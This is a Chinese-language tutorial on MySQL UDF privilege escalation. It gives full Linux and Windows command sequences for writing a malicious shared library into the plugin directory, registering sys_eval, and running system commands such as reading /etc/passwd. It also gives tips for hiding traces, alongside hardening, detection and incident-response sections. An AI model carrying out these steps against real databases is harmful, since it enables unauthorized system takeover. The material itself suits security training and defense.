MySQL UDF提权原理与实战:从数据库功能到系统权限提升
1. 项目概述与核心价值在渗透测试或安全评估的后期当我们通过Web漏洞拿到一个WebShell却发现目标系统补丁齐全、常规的系统提权路径被堵死时往往会陷入僵局。这时候我们的目光就需要转向那些运行在系统上的第三方应用比如数据库。MySQL作为最广泛使用的数据库之一如果配置不当就可能成为我们通往更高权限的跳板。今天要聊的“MySQL UDF提权”就是这样一个经典的、利用数据库自身功能实现权限提升的技术。简单来说UDFUser Defined Function是MySQL提供给用户的一个扩展接口允许你像调用内置函数如CONCAT()、NOW()一样调用自己用C或C编写的函数。这本是为了增强数据库功能而设计的特性但在安全人员眼中如果能够向MySQL服务器写入一个恶意的UDF动态链接库Linux下是.so文件Windows下是.dll文件并创建一个函数来执行系统命令那么我们就能够以MySQL服务进程的权限来执行任意命令。这就是UDF提权的核心逻辑它并非直接提升系统用户权限而是“借用”了MySQL服务进程的权限来执行操作。因此其效果高度依赖于MySQL服务是以什么系统用户身份运行的。如果MySQL是以root或SYSTEM这样的高权限账户启动那么UDF提权成功后你几乎就获得了系统的最高控制权。这个技术之所以历久弥新是因为它触及了安全中一个永恒的矛盾功能性与安全性的平衡。为了灵活性而开放的特性往往可能成为攻击面。理解UDF提权不仅能让你在授权测试中多一种突破手段更能让你以防御者的视角深刻理解为何数据库的安全配置如运行账户、文件导入导出权限如此重要。2. UDF提权原理与前置条件深度解析2.1 UDF机制与提权链路拆解要利用UDF提权首先得明白MySQL是如何加载和使用这些自定义函数的。整个过程可以拆解为几个关键步骤函数声明与注册当你在MySQL中执行CREATE FUNCTION sys_eval RETURNS STRING SONAME udf.so;时你实际上是在mysql.func系统表中插入了一条记录。这条记录告诉MySQL“有一个名为sys_eval的函数它返回字符串类型其实现代码在udf.so这个共享库里”。库文件加载MySQL服务进程在需要调用该函数时会根据SONAME指定的路径去加载这个共享库文件。这个加载行为是以MySQL服务进程自身的身份和权限进行的。函数执行与系统调用共享库中的sys_eval函数被设计为接收一个字符串参数即系统命令然后通过C语言的system()或popen()等函数来执行它。命令执行的环境和权限同样是MySQL服务进程的。因此整个攻击链路的成败取决于两个核心环节能否成功将恶意UDF库文件写入到MySQL能够加载的目录以及MySQL服务进程本身是否具备足够的系统权限。2.2 成功利用的四大前提条件根据原理我们可以总结出UDF提权成功的几个必要条件缺一不可MySQL具备FILE权限且secure_file_priv配置为空这是整个利用的“入场券”。FILE权限允许用户执行SELECT ... INTO OUTFILE和LOAD_FILE()操作。而secure_file_priv这个系统变量则严格限制了这些文件操作的路径。secure_file_priv NULL禁止任何文件的导入导出。这是MySQL 5.5版本的默认设置直接封死了这条路。secure_file_priv /tmp/只允许在/tmp/目录下进行文件操作。如果插件目录不在此路径下则无法写入。secure_file_priv ‘’空值不对文件操作进行路径限制。这是我们需要的理想状态。 你可以通过SHOW GLOBAL VARIABLES LIKE ‘secure_file_priv’;来查看当前配置。在复现或授权测试中如果发现不是空值可能需要寻找修改MySQL配置文件my.cnf或my.ini的机会或者利用其他漏洞进行修改。已知MySQL插件目录plugin_dir的路径并具有写入权限UDF库文件必须放置在MySQL的插件目录下MySQL才会去加载。这个目录可以通过SHOW VARIABLES LIKE ‘plugin_dir’;查询。关键在于运行MySQL服务的系统用户必须对这个目录有写权限。在Linux下如果MySQL以mysql用户运行而plugin_dir是/usr/lib/mysql/plugin/且属于root那么直接写入就会失败。MySQL服务进程以较高权限运行这是决定提权“质量”的关键。在Linux中如果MySQL以root用户运行那么UDF函数就能执行任何命令如果以普通mysql用户运行则权限有限。在Windows中情况类似但通常Windows服务账户如LocalSystem、NetworkService的权限比Linux下的普通用户要高利用成功率也相对更高。可以通过查询进程信息或尝试执行whoami类的命令来间接判断。目标系统架构与UDF库文件匹配你需要上传与目标操作系统Windows/Linux和架构32位/64位匹配的UDF库文件。上传一个Linux的.so文件到Windows服务器是无效的。可以通过MySQL的SELECT version_compile_os, version_compile_machine;命令来获取这些信息。注意在实际的渗透测试中同时满足以上所有条件的情况并不常见尤其是在现代云服务器或经过安全加固的系统中。因此UDF提权更像是一种“机会主义”的武器在特定配置不当的环境下能发挥奇效。3. Linux环境下的UDF提权实战复现为了彻底搞懂整个过程我们最好亲手搭建环境复现一遍。这里我选择在LinuxKali或Ubuntu下进行因为其权限体系更严格能更好地暴露问题。3.1 靶机环境搭建与关键配置首先我们需要一个配置有问题的MySQL服务作为靶机。为了复现我们故意制造两个安全漏洞一是将secure_file_priv设置为空二是让MySQL以root身份运行。步骤一安装并配置MySQL如果你使用Kali可能已经安装了MariaDB。为了干净起见我们可以安装MySQL社区版。这里以Ubuntu为例但原理相通。sudo apt update sudo apt install mysql-server -y安装后MySQL通常会以mysql用户身份运行一个systemd服务。我们需要先停止它并修改配置。sudo systemctl stop mysql步骤二修改MySQL配置文件降低安全设置找到MySQL的配置文件/etc/mysql/mysql.conf.d/mysqld.cnf路径可能因版本而异在[mysqld]部分添加或修改以下两行[mysqld] ... secure_file_priv user root第一行secure_file_priv ‘’允许任意文件导入导出。第二行user root指示MySQL以root用户身份启动这是极不安全的配置仅用于测试。步骤三以修改后的配置启动MySQL由于我们修改了运行用户需要确保MySQL数据目录如/var/lib/mysql的权限允许root用户读写。更简单的方式是直接以root身份运行mysqld进程绕过systemdsudo mysqld_safe --skip-grant-tables --skip-networking --skip-grant-tables跳过权限验证方便我们登录。--skip-networking只允许本地连接避免外部攻击。稍等片刻后我们可以无密码登录mysql -u root步骤四验证关键配置登录MySQL后执行以下命令确认环境-- 查看secure_file_priv应该为空 SHOW GLOBAL VARIABLES LIKE ‘secure_file_priv’; -- 查看插件目录 SHOW VARIABLES LIKE ‘plugin_dir’; -- 查看数据库版本和操作系统架构 SELECT version_compile_os, version_compile_machine; -- 查看当前MySQL进程用户在MySQL内执行系统命令需要借助UDF这里先看变量UDF创建后再验证 SELECT version;如果secure_file_priv显示为空值不是NULLplugin_dir路径存在例如/usr/lib/mysql/plugin/且我们是以root启动的那么环境就准备好了。3.2 利用过程详解与手工实现3.2.1 信息收集与条件判断在真实的渗透场景中你通过WebShell获得的MySQL连接可能权限有限。第一步永远是信息收集-- 1. 检查文件导出权限 SHOW VARIABLES LIKE ‘secure_file_priv’; -- 2. 检查插件目录 SHOW VARIABLES LIKE ‘plugin_dir’; -- 3. 检查系统架构决定使用32位还是64位UDF文件 SELECT version_compile_os, version_compile_machine; -- 4. 尝试查看当前用户是否有写入插件目录的权限可以通过写入一个测试文件来判断 -- 但注意在MySQL SQL层面无法直接判断文件系统权限通常需要尝试写入。3.2.2 获取与处理UDF库文件最经典的UDF库文件来源于sqlmap。sqlmap内置了经过编码异或的UDF库文件以防止被误查杀。我们需要先解密。定位sqlmap中的UDF文件在Kali中sqlmap通常位于/usr/share/sqlmap/。UDF文件在data/udf/mysql/目录下区分操作系统和架构。ls -la /usr/share/sqlmap/data/udf/mysql/你会看到linux和windows目录里面分别有32和64位子目录。文件后缀为_表示已被编码。使用cloak.py工具解密sqlmap提供了一个Python脚本用于编解码这些文件。cd /usr/share/sqlmap/extra/cloak/ python3 cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_执行后会在同目录下生成一个解密后的lib_mysqludf_sys.so文件。请务必确认架构匹配如果目标是32位系统则使用linux/32/下的文件。3.2.3 上传UDF库文件的两种方法将.so文件上传到目标服务器的MySQL插件目录是技术难点。主要有两种方法方法一直接使用SELECT ... INTO DUMPFILE推荐但受限于LOAD_FILE这要求我们能够将本地文件的内容读取到MySQL中再写入目标路径。通常需要WebShell将UDF文件内容进行十六进制编码。-- 在WebShell中使用xxd或hexdump命令将.so文件转为十六进制字符串 xxd -p /path/to/lib_mysqludf_sys.so | tr -d ‘\n’ -- 会得到一个很长的十六进制字符串如7f454c460201010000... -- 然后在MySQL中执行 SELECT 0x7f454c4602... INTO DUMPFILE ‘/usr/lib/mysql/plugin/udf.so’;INTO DUMPFILE会原样写入二进制数据而INTO OUTFILE会在行末添加换行可能破坏二进制文件。方法二通过WebShell直接上传文件如果你有WebShell的文件上传权限并且知道插件目录的路径可以直接将lib_mysqludf_sys.so复制或上传到该目录并重命名为udf.so。这通常更简单。# 在WebShell中执行 cp /tmp/lib_mysqludf_sys.so /usr/lib/mysql/plugin/udf.so chmod 755 /usr/lib/mysql/plugin/udf.so # 确保MySQL进程有执行权限实操心得LOAD_FILE()函数在读取二进制文件时经常返回NULL尤其是在文件较大或包含空字节时。因此方法一中的十六进制转换是更可靠的方式。另外务必注意插件目录的权限。如果目录不存在你需要先创建它SELECT ‘test’ INTO DUMPFILE ‘/usr/lib/mysql/plugin/test.txt’;如果失败可能是目录不存在或无权限。3.2.4 创建UDF函数并执行命令成功上传UDF文件后剩下的就简单了。-- 1. 创建自定义函数关联到我们上传的库文件 CREATE FUNCTION sys_eval RETURNS STRING SONAME ‘udf.so’; -- 如果成功则无报错。如果报错“ERROR 1126 (HY000): Cant open shared library...” -- 通常意味着库文件路径不对、文件损坏、架构不匹配或权限不足。 -- 2. 使用创建的函数执行系统命令 SELECT sys_eval(‘whoami’); -- 如果返回‘root’则提权成功。 SELECT sys_eval(‘id’); SELECT sys_eval(‘cat /etc/passwd’);sys_eval函数会执行命令并返回其输出。还有一个常用的函数是sys_exec它只返回命令的退出状态码不返回输出。3.2.5 清理痕迹测试完成后为了隐蔽和清理环境应删除函数和UDF文件。-- 删除函数 DROP FUNCTION sys_eval; -- 通过MySQL删除文件需要FILE权限 SELECT sys_eval(‘rm -f /usr/lib/mysql/plugin/udf.so’); -- 或者如果函数已删除可以通过WebShell删除文件4. Windows环境下的UDF提权差异与要点Windows平台下的UDF提权原理完全相同但细节上有一些差异这些差异往往影响着利用的成败。4.1 环境搭建特点在Windows上我们常用集成环境如phpStudy、WAMP等。这些环境中的MySQL默认配置可能更“宽松”。允许外部连接一些集成环境默认只允许本地连接。需要手动授权GRANT ALL PRIVILEGES ON *.* TO ‘root’’%’ IDENTIFIED BY ‘your_password’ WITH GRANT OPTION; FLUSH PRIVILEGES;修改my.ini注释掉bind-address 127.0.0.1这一行并重启MySQL。secure_file_priv设置老版本的MySQL如5.5可能默认此项为空。新版本5.6则默认为NULL。检查方法同上。插件目录路径Windows下的插件目录通常位于MySQL安装目录的lib\plugin子目录下例如D:\phpStudy\MySQL\lib\plugin\。同样通过SHOW VARIABLES LIKE ‘plugin_dir’;查询。4.2 利用过程的关键差异UDF文件格式需要使用.dll文件而不是.so。从sqlmap中获取windows/64/lib_mysqludf_sys.dll_并解密。python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_文件上传路径Windows路径使用反斜杠并且在SQL语句中需要转义或使用正斜杠。-- 假设插件目录是 C:\mysql\lib\plugin\ SELECT 0x4d5a9000... INTO DUMPFILE ‘C:/mysql/lib/plugin/udf.dll’; -- 或者 SELECT 0x4d5a9000... INTO DUMPFILE ‘C:\\mysql\\lib\\plugin\\udf.dll’;错误信息差异这是非常重要的一个点。在Linux下如果UDF文件路径错误MySQL通常会明确报错“Cant find file ‘/xxx/udf.so’”。而在Windows下错误信息通常是“Cant open shared library ‘udf.dll’ (errno: 126)”。errno: 126意味着“找不到指定的模块”这可能是因为文件不存在、路径错误也可能是依赖的DLL如VC运行库缺失。这增加了排错的难度。权限与成功率Windows服务管理器的特性使得许多MySQL服务默认以LocalSystem或NetworkService账户运行这些账户本身具有较高的权限。因此在Windows上只要满足了文件写入条件UDF提权的成功率往往比Linux更高直接就能获得一个高权限的shell。4.3 Windows提权示例命令-- 1. 信息收集 SELECT basedir; SHOW VARIABLES LIKE ‘plugin_dir’; SELECT version_compile_os, version_compile_machine; SHOW VARIABLES LIKE ‘secure%’; -- 2. 上传DLL通过十六进制字符串这里字符串极长已省略 SELECT 0x4d5a900003000000... INTO DUMPFILE ‘C:/ProgramData/MySQL/lib/plugin/udf.dll’; -- 3. 创建函数 CREATE FUNCTION sys_eval RETURNS STRING SONAME ‘udf.dll’; -- 4. 执行命令 SELECT sys_eval(‘whoami’); -- 在Windows上可能返回 ‘nt authority\system‘ SELECT sys_eval(‘ipconfig’); SELECT sys_eval(‘net user’);5. 高级技巧、防御与检测5.1 利用中的难点与绕过技巧secure_file_priv不为空这是最常见的障碍。尝试修改配置文件如果有WebShell的写权限可以尝试修改my.cnf或my.ini然后重启MySQL。但重启数据库风险大、动静大。利用日志文件如果general_log或slow_query_log是开启的并且日志文件目录可写可以尝试将UDF代码写入日志文件然后通过LOAD_FILE()读取。但这需要非常特殊的配置。寻找已有可写目录检查secure_file_priv指定的目录是否可写或者MySQL的tmpdir是否可写。有时可以将UDF文件写入临时目录然后通过软链接或其他方式需系统权限移动到插件目录但这要求更高。插件目录不可写利用Web目录如果secure_file_priv为空可以尝试将UDF文件写入Web目录然后通过CREATE FUNCTION … SONAME ‘/var/www/html/udf.so’;来加载。但这要求MySQL服务账户有权限读取Web目录的文件且plugin_dir变量允许加载该路径下的文件通常不允许plugin_dir是固定路径。暴力猜解或信息泄露有时可以通过错误信息、配置文件泄露等找到可写目录。MySQL运行在低权限账户下这是最根本的限制。如果MySQL以mysql或nobody运行即使UDF提权成功也只能执行该用户权限下的命令。此时需要结合其他本地提权漏洞如内核漏洞、SUID程序滥用等来获得root权限。5.2 防御措施作为防御方应从多个层面杜绝UDF提权的可能性最小权限原则运行MySQL绝对不要以root或Administrator身份运行MySQL服务。在Linux上创建专用的mysql用户并确保该用户权限被严格限制。在Windows上使用低权限的虚拟账户。严格配置secure_file_priv在生产环境中务必将其设置为NULL或一个特定的、非MySQL插件目录的路径。这是最有效的一招。[mysqld] secure_file_priv NULL控制FILE权限仅授予必要用户FILE权限。通常只有备份等管理任务需要此权限。REVOKE FILE ON *.* FROM ‘app_user’’%’;移除或保护插件目录确保插件目录plugin_dir的权限严格只有MySQL服务用户有读取和执行权限无写权限。甚至可以移除不必要的UDF插件。使用数据库防火墙或WAF监控异常的SQL语句特别是包含INTO DUMPFILE、LOAD_FILE以及尝试创建FUNCTION且SONAME指向非常规路径的语句。定期审计与更新定期检查mysql.func表查看是否有可疑的自定义函数。保持MySQL版本更新关注安全公告。5.3 攻击检测与应急响应如果怀疑系统已被通过UDF提权可以按以下步骤排查检查自定义函数SELECT * FROM mysql.func;查看是否有sys_eval、sys_exec、do_system等可疑函数。检查插件目录文件列出插件目录下的所有文件检查是否有陌生的.so或.dll文件。ls -la /usr/lib/mysql/plugin/ dir C:\mysql\lib\plugin\检查MySQL错误日志查看是否有关于加载共享库失败的记录。系统进程与网络连接检查是否有来自MySQL进程的异常子进程或网络连接。发现入侵后应急响应步骤立即删除恶意UDF函数DROP FUNCTION sys_eval;删除恶意UDF库文件。根据上述防御措施加固MySQL配置。彻底排查攻击者可能留下的其他后门。6. 常见问题与排查实录在实际操作中你肯定会遇到各种报错。这里我整理了一份常见错误速查表帮你快速定位问题。错误信息可能原因排查步骤ERROR 1045 (28000): Access denied数据库连接权限不足检查用户名、密码、主机限制。尝试使用WebShell中的数据库配置。ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv optionsecure_file_priv限制生效SHOW VARIABLES LIKE ‘secure_file_priv’;查看当前设置。ERROR 1126 (HY000): Cant open shared library ‘udf.so’库文件无法加载1. 确认文件路径完全正确。2. 确认文件存在且MySQL进程有读权限。3. 确认库文件与系统架构匹配32/64位。4. 在Linux上用ldd udf.so检查依赖是否满足。5. 在Windows上可能是缺少VC运行库如msvcr100.dll。ERROR 1123 (HY000): Cant initialize function ‘sys_eval’;函数初始化失败通常是UDF库文件损坏或不兼容。尝试重新生成或使用不同版本的UDF文件。SELECT … INTO DUMPFILE成功但无文件写入路径无权限或目录不存在1. 检查目标目录是否存在。2. 检查MySQL进程用户对该目录是否有写权限。3. 尝试写入一个简单文本文件测试。执行sys_eval无回显或返回NULL命令执行失败或函数问题1. 尝试执行一个简单命令如sys_eval(‘echo test’)。2. 检查MySQL错误日志。3. 可能是UDF函数内部实现问题尝试其他函数如sys_exec。函数创建成功但执行命令时报错系统环境问题1. 检查MySQL进程用户的PATH环境变量使用绝对路径执行命令如/bin/whoami。2. 目标系统可能禁用了某些系统调用。独家避坑技巧十六进制Payload的生成与使用在WebShell中如果xxd命令不可用可以用cat udf.so | od -An -tx1 | tr -d ‘ \n’来生成十六进制。在MySQL中执行超长的SELECT 0x…语句时可能会因为客户端限制而截断。可以尝试将Payload分段写入一个变量或者使用编程语言如Python的pymysql来执行。插件目录的寻找如果SHOW VARIABLES LIKE ‘plugin_dir’;返回空可以尝试在MySQL的数据目录、安装目录下寻找lib/plugin或lib/mysql/plugin文件夹。也可以故意创建一个错误的函数来触发错误信息有时错误信息会包含搜索路径。Windows下的DLL依赖自己编译UDF DLL时尽量使用静态链接避免依赖额外的运行时库。使用sqlmap提供的DLL通常兼容性较好。隐蔽性考虑上传的UDF文件名不要用常见的udf.so可以随机命名。函数名也可以自定义。执行命令后及时删除函数和文件。